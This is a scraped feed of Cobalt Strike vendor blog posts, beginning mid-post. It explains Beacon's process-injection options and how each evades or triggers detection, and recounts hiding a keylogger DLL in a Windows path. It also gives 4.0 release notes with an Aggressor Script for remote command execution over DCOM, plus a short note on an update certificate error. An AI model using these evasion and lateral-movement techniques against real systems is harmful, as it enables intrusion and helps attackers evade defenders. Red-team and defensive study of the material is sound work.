Cobalt Strike also has the CreateFileMapping -> MapViewOfFile -> NtMapViewOfSection pattern. This option creates a file mapping that is backed by the Windows system paging file. It then maps a view of that mapped file into the current process. Cobalt Strike then copies the injected data to the memory associated with that view. The NtMapViewOfSection call makes the same mapped file (with our local changes) available in the remote target process. This is available if you set process-inject -> allocator to NtMapViewOfSection. The downside to this option is it only works x86 -> x86 and x64 -> x64. For cross-architecture injection, Cobalt Strike will fall back to the VirtualAllocEx pattern. This pattern is useful in situations where a defense solution hones in on VirtualAllocEx -> WriteProcessMemory but does not detect other methods to copy data into a remote process.

Transform your Data

The above description of steps 2 and 3 assumes that you’re copying the injected data over as-is. That’s not necessarily true. Cobalt Strike’s process-inject block has options to transform the injected data. The min_alloc option is the minimum size of the block Beacon will allocate in a remote process. The startrwx and userwx options are a hint to the initial and final permissions of the allocated memory. If you want to avoid RWX pages, set these options to false. The transform-x86 and transform-x64 blocks allow you to pad either side of the injected data. If you prepend data, make sure it’s valid code to execute for that architecture.

The options to transform content in the process-inject block are very basic. They’re basic because these are options that are safe for all injected content. If I assume what I receive is a position-independent blob that is a self-contained program, I know I am OK to prepend and append data to it at will. If I assume that this position-independent blob does not modify itself, I know I can get away without RWX permissions. These things are as far as I’m willing to go with data I know nothing about. For more aggressive changes to injected content itself, use the Malleable C2 stage block to modify Beacon. Use the Malleable C2 post-ex block to modify Cobalt Strike’s actual post-exploitation DLLs.

Don’t dismiss these transforms because they are basic though. A lot of content signatures look for specific bytes at fixed offsets from the beginning of an observable boundary. These checks occur in O(1) time which is favorable to an O(n) [or worse] search. Too many expensive checks and a security technology can run into performance issues.

Binary padding can also affect the thread start address offset of your Cobalt Strike post-exploitation jobs. When Beacon injects a DLL into memory; it starts the thread at the location of that DLL’s exported ReflectiveLoader function. This offset shows up in the thread’s start address characteristic and is a potential indicator to hunt for a specific post-exploitation DLL. Data prepended to an injected DLL affects this offset. (Less visible threads help too; we’ll get to that in a moment…)

Part 3 of In-Memory Evasion has some more discussion on content, memory, and thread characteristics that are used to detect injected DLLs in memory.

Code Execution: So many damned corner cases…

At this point, we assume our injected content is in the remote process. The next step is execute that content. This is where the process-inject -> execute block comes in. Here, you get to specify which options Cobalt Strike will consider when it needs to inject code. Beacon goes through these options, one at a time, and tries the options that are valid to the current context. When one of these options succeeds, Beacon stops this process.

I mentioned it earlier, but I want to emphasize it again: process injection is filled with corner cases. The list of options you specify has to cover these corner cases. If your list of options misses a corner case, you will find that process injection fails for seemingly random reasons. My goal with this blog post is to help clear up some of these seemingly random reasons.

What are those corner cases?

All of the injection techniques implemented in Cobalt Strike work x86 -> x86 and x64 -> x64. Injecting from one architecture into the other is a trivial base case. But, x86 -> x64 and x64 -> x86 are contexts that matter too.

One context factor (favorable, if we treat it different) is whether or not the remote process is a throw-away temporary process. Remember, Beacon’s post-ex jobs spawn a temporary process and because the process is temporary—we can do more aggressive things.

Another favorable context factor is self injection. If we inject into our own process, we can and should treat that differently. We can simply use VirtualAlloc and CreateThread when injecting into ourself. When dealing with a security stack that aggressively swat remote process injection, self-injection is a way to safely use capabilities that can target a remote process.

One last corner case is whether or not the injected data has an argument. I can pass an argument via SetThreadContext with an x64 target (thanks fastcall!). Cobalt Strike’s implementation can’t pass an argument, via SetThreadContext, with an x86 target. Bummer.

We’re not done though. When dealing with remote process injection there are other factors. Some methods are riskier on Windows XP era systems. *gasp*. RtlCreateUserThread falls into this camp. And, other methods don’t work when you have to inject across desktop session boundaries (CreateRemoteThread, I’m looking at you).

Code Execution: The perfect execute block

Some of the execute options are scoped to the special cases described above. When you specify your execute block, put these special cases (self-injection, suspended processes) first. Beacon will ignore these options when they’re not right for the current injection context.

Next, you should follow up with which methods you want Beacon to use in-general. Remember, each method has different context limitations and failure cases. If you care that your process injection succeed, OPSEC be damned, make sure you have backups to the primary methods you specify. This is how Beacon’s process injection cocktail worked before 3.14 gave control to your profiles.

Let’s walk through the different execute options implemented in Beacon and their nuances:

Code Execution: CreateThread

I’ll start with CreateThread. I think CreateThread should come first in an execute block (if it’s there at all). This function will only run when you’re doing self-injection. You can use CreateThread which will spin up a thread pointing to the code you want Beacon to run. Be cautious though. When you self-inject this way, your thread will have a start address that’s not associated with one of the modules (DLLs, the current program itself) loaded into the current process space. This is a tell used to detect injected content. To help with this, you can specify CreateThread “module!somefunction+0x##”. This variant will spawn a suspended thread that points to the specified function. If the specified function is not available via GetProcAddress; this variant will immediately fail. Beacon will use SetThreadContext to update this new thread to run your injected code. This is a way of doing self-injection in a way that gives your thread a more favorable start address.

Code Execution: SetThreadContext

The next place to go is SetThreadContext. This is one of the methods available to take over the primary thread of a temporary process spawned for a post-exploitation job. Beacon’s SetThreadContext option works x86 -> x86, x64 -> x64, and x64 -> x86. If you choose to use SetThreadContext, put it after the CreateThread option(s) in your execute block. When you use SetThreadContext; your thread will have a start address that reflects the original execution entry point of the temporary process.

Code Execution: NtQueueApcThread-s

Another option for suspended processes is NtQueueApcThread-s. This option uses NtQueueApcThread to queue a one-off function that runs when the target thread wakes up next. In this case, the target thread is the primary thread of our temporary process. This methods next step is to call ResumeThread. This function wakes up the primary thread of our suspended process. Because the process is suspended, we don’t have to worry about giving this primary thread back to the process. Supposedly, executing code this way, allows our injected capability to initialize itself in the process before some userland-resident security products initialize themselves. This method of evasion was labeled the early bird injection technique by researchers from Cyberbit. This option is x86 -> x86 and x64 -> x64 only.

The use of SetThreadContext vs. NtQueueApcThread-s are up to you. I don’t think one is clearly better than the other in all contexts.

Code Execution: NtQueueApcThread

The next option to consider is NtQueueApcThread. This is a different implementation from NtQueueApcThread-s. It’s designed to target an existing remote process. This implementation pushes an RWX stub to the remote process. This stub contains both code and context related to the injection. To execute this stub, we add our stub to the APC queue of every thread in the remote process. If one of those threads enters an alertable state, our stub will execute.

What does the stub do?

The stub first checks if it was already run. If it was, it does nothing. This is to prevent our injected code from running multiple times.

The stub then calls CreateThread with our injected code and its argument. We do this to allow the APC to quickly return and let the original thread go on about its business.

There’s a risk that no thread will wake up and execute our stub. Beacon waits about 200ms and checks the stub to determine if the code ran. If it didn’t, we update the stub to mark the injection as having run, and we move on to the next injection technique. That’s the implementation of this technique.

I’ve had several requests for this option, because some security products have less visibility into this event. That said, this implementation has its OPSEC concerns. It does push that RWX stub which itself is a noisy memory indicator. It also calls CreateThread against our code that was pushed into this remote process. The start address of this thread is not backed by a module on disk. It won’t do well with a Get-InjectedThread sweep. If you find this injection method valuable, go ahead and use it. Just be aware that it has its trade-offs. One other note: this method (as I’ve implemented it) is x86 -> x86 and x64 -> x64 only.

Code Execution: CreateRemoteThread

Another option is CreateRemoteThread. This is the standard-issue remote process injection technique. As of Windows Vista, it does fail when injecting code across session boundaries. In Cobalt Strike, vanilla CreateRemoteThread covers x86 -> x86, x64 -> x64, and x64 -> x86 cases. This technique is also very visible. The Sysmon event 8 will fire when this method is used to create a thread in another process. Beacon does implement a CreateRemoteThread variant that accepts a fake start address in the form “module!function+0x##”. Like CreateThread, Beacon will create this thread in a suspended state and use SetThreadContext/ResumeThread to make it run our code. This variant is x86 -> x86 and x64 -> x64 only. This variant will fail if the specified function is not available via GetProcAddress.

Code Execution: RtlCreateUserThread

The last option available to Cobalt Strike’s execute block is RtlCreateUserThread. Be aware! This option is similar to CreateRemoteThread without some of its limitations. It does have its own drawbacks though.

RtlCreateUserThread will inject code across session boundaries. Supposedly it has some trouble in some injection contexts on Windows XP. This may or may not matter to you. This method DOES fire Sysmon event 8 as well. One benefit to RtlCreateUserThread is it covers x86 -> x86, x64 -> x64, x64 -> x86, AND x86 -> x64. This last corner case is important to address.

x86 -> x64 injection happens when you’re in an x86 Beacon context and you spawn an x64 process for a post-exploitation job. The hashdump, mimikatz, execute-assembly, and powerpick modules all default to an x64 context where they can. To pull off the feat of x86 -> x64 injection, this implementation transitions your x86 process to an x64 mode and injects an RWX stub to call RtlCreateUserThread from an x64 context. This implemention comes from Meterpreter and the RWX stub is a loud memory indicator. I’ve long advised: “stay x64 as much as possible”. This type of detail is the reason why. I do recommend RtlCreateUserThread exist in any process-inject -> execute block though. It makes sense to have this as the bottom-most option. Use it when nothing else works.

Life without (Remote) Process Injection

When I think about how to make an offense technique flexible, I also like to give similar consideration to what would I do if this technique were not an option?

Process injection is a way to move a payload/capability to a different process context (e.g., go from desktop session 0 to desktop session 1). It’s possible to move to a different process context without remote process injection. Use the runu command. This Beacon command will execute a program as a child of an arbitrary process you specify. This is a way to get a capability into another desktop session (for example) without remote process injection.

Process injection is also a way to execute capabilities on-target without putting a capability on disk. In Cobalt Strike; many post-exploitation capabilities have the option to target a specific process. To use these without remote process injection; specify your current Beacon process. This is self-injection.

Sometimes, putting something on disk is the best option available. I once had success compiling a keystroke logger as a DLL and dropping it to c:\windows\linkinfo.dll to (eventually) load it into explorer.exe. We used an open share on the same system to periodically grab our keystrokes. This helped my colleagues and I operate in a highly-scrutinized situation where it was difficult to keep a memory-resident payload alive on target.

If you enjoy these types of thought exercises; I recommend watching Agentless Post Exploitation and Fighting the Toolset.

Cobalt Strike 4.0 – Bring Your Own Weaponization

$
0
0

Cobalt Strike 4.0 is now available. This release improves Cobalt Strike’s distributed operations model, revises post-exploitation workflows to drop some historical baggage, and adds “Bring Your Own Weaponization” workflows for privilege escalation and lateral movement.

A Vision for Red Team Server Consolidation

Cobalt Strike’s model for distributed operations (2013!) is to stand up a new server for each piece of engagement infrastructure. The Cobalt Strike client is multi-server aware and able to pass sessions between these servers and generate reports that uses all of their data.

The above model works well when the goal is to keep each piece of engagement infrastructure separate. For example, I continue to assert that the infrastructure you operate on should be very separate from the infrastructure any persistence calls home to. This separation minimizes the risk that an operator might task your persistent DNS Beacon to download and run mimikatz.

This model does break down when multiple servers are used to support post-exploitation and lateral movement. Each server is a silo with a subset of available credential and target information available to it. Further, each server is also an island with its own SMB and TCP Beacon meshes that other servers can’t control without hacks.

This problem set motivated a series of efforts, in Cobalt Strike 4.0, designed to make it practical to use a single team server to control multiple pieces of engagement infrastructure.

Cobalt Strike now supports multiple egress listeners. You can define multiple HTTP, HTTPS, and DNS Beacons on one team server. You can also stand up multiple TCP and SMB Beacon payload configurations on the same server as well.

Cobalt Strike now supports port bending, allowing you to bind redirectors to common ports (e.g., 80, 443, and 53) and pass traffic back to a listener bound to a different port.

Malleable C2 was extended with the concept of profile variants. A variant is one or more http-get, http-post, or http-stager blocks that are defined as a variation of the current profile file. You may pack multiple variants into a single profile. Each listener you stand up can have a different profile variant. [A demo of variants is at 16:44 in the video below]:

The listener management UX in Cobalt Strike underwent a much-needed overhaul to present these options in an approachable way.

The sessions table was also updated to show the egress listener for each Beacon in its own column. This is a small detail, but something I consider important when managing multiple egress paths through a single server. You need to know which channel is associated with each session so you can make post-ex decisions informed by the channel’s constraints (e.g., I wouldn’t try to egress a multi GB file over an HTTP GET-only C2 routed through a CDN).

The end result of this effort is you can now manage a lot of infrastructure through a single Cobalt Strike team server.

Revising the Toolset

In 2017’s Fighting the Toolset talk, I shared what I perceived as limitations in the Cobalt Strike product’s workflows and best practices to work around these limitations. It’s one of my favorite lectures about the product. Cobalt Strike 4.0 does a lot to update Cobalt Strike’s workflows to the Fighting the Toolset ideas.

This release greatly reduces Cobalt Strike’s use of PowerShell in its post-exploitation automation. The spawnas, spawnu, and elevate uac-token-duplication tools now spawn a temporary process and inject the specified payload into it. These commands use your spawnto value and process-inject configuration in your Malleable C2 profile.

Cobalt Strike 4.0 also removes payload stagers from Cobalt Strike’s post exploitation workflows. When you inject a payload or spawn a session, for post-ex purposes, Cobalt Strike will now pass the entire payload and skip the use of stagers altogether. This simplifies your attack chain and removes a nasty memory indicator when you take one of these actions. There’s another benefit too. Cobalt Strike has had an option to disable the hosting of payload stages since version 3.5.1. Setting the host_stage option to false used to degrade the product’s post-ex workflows in a noticeable way. Now, if you set this option to false, you won’t feel an impact once you have initial access. Setting this option to false has a huge OPSEC benefit as it hinders efforts to survey team servers and analyze their payload data.

This release makes it natural to start from an x64 context and stay there. I very much recommend sticking to an x64 context on an x64 system. The Scripted Web Delivery tool was made stageless and expanded with an x64 option. Post-ex actions that spawn a payload (e.g., spawn, spawnas, elevate) will now match the architecture of their parent Beacon (e.g., an x64 session will spawn an x64 session) or give an explicit option. This release adds x64 lateral movement options too.

Finally, Cobalt Strike 4.0 introduces an internal inline-execute post-exploitation pattern. Inline-execute passes a capability to Beacon as needed, executes it inline, and cleans up the capability after it ran. This post-exploitation interface paves the way for future features that execute within Beacon’s process context without bloating the agent itself. Several post-exploitation features were ported over to this already (e.g., elevate uac-token-duplication, getsystem). Inline-execute is a path to reduce some of Cobalt Strike’s use of the fork&run pattern (where it makes sense) over time.

You might as well Jump

Once you open up the Beacon console, you’ll probably notice that the psexec, psexec_psh, winrm, and wmi commands for lateral movement are gone. These were removed and replaced with the jump command.

The jump command works similar to elevate. Type ‘jump’ by itself and you will get back a list of lateral movement modules. Use jump [module] [target] [listener] to spawn a session on a remote target.

Similar to elevate, you can add jump modules via Aggressor Script.

Bring Your Own Weaponization

The jump and elevate commands present an interesting conundrum. Some privilege escalation and lateral movement options present a natural path to spawn a session. For example, with psexec, it makes sense to copy an EXE to a share and create a service to run it. These steps use the same protocol. With WinRM, it’s possible to pass a large PowerShell script to load a payload in-memory on the far end. Similarly, with privilege escalation, some options yield a privileged context as a token or process handle that’s easy to immediately execute a payload from.

Not everything yields a clear weaponization path though. For example, Matt Nelson’s technique to execute a payload via DCOM is a great remote execute primitive. Turning this execute primitive into a session requires the capability developer to make a lot of decisions for the operator though. An offense trope, when given an execute primitive, is to use a PowerShell one-liner to spawn a session. The problem with these tropes is that the automation becomes the thing that’s “tested” and detected instead of the technique itself.

Pondering on the above led to Cobalt Strike 4.0’s “Bring Your Own Weaponization” (BYOW) approach to privilege escalation and lateral movement. The idea behind BYOW is to make the lateral movement and privilege escalation command execute-only primitives available through a common and extensible interface. This makes the execute primitive easy and quick to use, but gives the operator the choice on how to use it. For scripters, these interfaces are less intimidating to work with, as the scripter doesn’t have to implement a weaponization pattern when no single good option exists.

sub mmc20_exec_method {
	local('$script $command $args');

	# state what we're doing.
	btask($1, "Tasked Beacon to run $3 on $2 via DCOM", "T1175");

	# separate our command and arguments
	if ($3 ismatch '(.*?) (.*)') {
		($command, $args) = matched();
	}
	else {
		$command = $3;
		$args    = "";
	}
	 
	# build script that uses DCOM to invoke ExecuteShellCommand on MMC20.Application object
	$script  = '[activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application", "';
	$script .= $2;
	$script .=  '")).Document.ActiveView.ExecuteShellCommand("';
	$script .= $command;
	$script .= '", $null, "';	
	$script .= $args;
	$script .= '", "7");';

	# run the script we built up
	bpowershell!($1, $script, "");
}

beacon_remote_exec_method_register("com-mmc20", "Execute command via MMC20.Application COM Object", &mmc20_exec_method);

runasadmin is the BYOW tool for privilege escalation. Type runasadmin, by itself, to see a list of command elevators registered with Cobalt Strike. Use runasadmin [module] [command+args] to execute the specified command in a privileged context. This gives you, the operator, choice on how to use the primitive. If you want to spawn a session by dropping an EXE to disk–you can do that. If you want to weaken the target in some way, that’s fair game too. Or, maybe, you want to use a PowerShell one-liner to spawn a session. You can still do that too. Right-click on your Beacon session, go to Access -> One-liner. This dialog will setup a [one time use only!] session-contained PowerShell one-liner (e.g., no remote connection is made) to execute a stageless payload via PowerShell when run.

remote-exec is the BYOW tool for lateral movement. Type remote-exec to see a list of remote execute modules registered with Cobalt Strike. Use remote-exec [module] [target] [command+args] to execute the specified command on a remote target. Similar to runasadmin, you have the choice on how to use these primitives. You can kick off an EXE, run a script artifact placed on target or a target-accessible share, or weaken the remote target in some way.

Bring Your Own Weaponization is not a replacement for elevate and jump. It is an alternative set of approaches to these commands.

Red Team Operations with Cobalt Strike

This release also brings an updated and revised course on the Cobalt Strike product. The Red Team Operations with Cobalt Strike course is 11 hours(!) of material to explain the strategies and process this product is designed to support. The course is very heavy on tradecraft and evasion theory. If those topics are your thing, I recommend you check it out.

Check out the release notes to see a full list of what’s new in Cobalt Strike 4.0. Licensed users will want to download the Cobalt Strike 4.0 distribution package and run the update program to get the latest. [Note: the 3.14 updater will continue to deliver the 3.14 version. If you want 4.0, download the distribution package!]

If this release piques your interest in Cobalt Strike, contact Strategic Cyber LLC for a quote. Now that this 4.0 release is out, I promise I’ll respond faster [starting tomorrow].

SSL certificate verification for failed

$
0
0

TL;DR a certificate for part of the Cobalt Strike update infrastructure changed. Download the 20200511 distribution package to avoid certificate verification errors.

If you recently ran the Cobalt Strike update program (version 20191204); you may see a nice message about the failed SSL certificate verification for verify.cobaltstrike.com:

verify.cobaltstrike.com hosts a text file with SHA256 hashes for the licensed Cobalt Strike product and its distribution packages. The update program queries this server after it downloads a new Cobalt Strike update. The update programs pins the certificate for this server. When the certificate does not match what update expects, the update program rightfully gives a rather stern and scary warning. “Someone may be hacking you, don’t trust this update”. This is by design. I want you to know you’re getting the update from HelpSystems and not Comrade Adversary and their merry band of update poisoning friends.

The above step works great when the update program knows the current SSL certificate. Today was a special day for verify.cobaltstrike.com though. Its certificate expired. This was a planned event and the update program did ship with a hash for the replacement certificate when I pushed the 4.0 release in December. Sadly, the string representation of the new certificate hash differed in a way that causes the update program to reject the new certificate. Oops!

I’ve updated the update program to resolve this issue. It’ll say Cobalt Strike Update (20200511) when you run it. If you’re seeing this certificate error, download the updated distribution package at https://www.cobaltstrike.com/download

Viewing all 62 articles
Browse latest View live